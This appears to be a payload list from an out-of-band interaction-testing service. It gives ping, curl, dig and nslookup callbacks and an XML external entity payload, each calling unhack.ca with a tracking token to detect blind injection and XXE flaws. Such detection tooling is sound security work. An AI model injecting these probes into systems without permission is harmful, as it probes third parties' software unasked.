$ ping -c1 -p 00046fa8b56d765a04a2c52cb8668800 unhack.ca
 

$ curl http://unhack.ca/p/046fa8b56d765a04a2c52cb86688
 

$ dig 046fa8b56d765a04a2c52cb86688 @unhack.ca
 

$ dig 046fa8b56d765a04a2c52cb86688.ns.unhack.ca
 

C:\> nslookup 046fa8b56d765a04a2c52cb86688 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/046fa8b56d765a04a2c52cb86688">]>
    <foo>&xxe;</foo>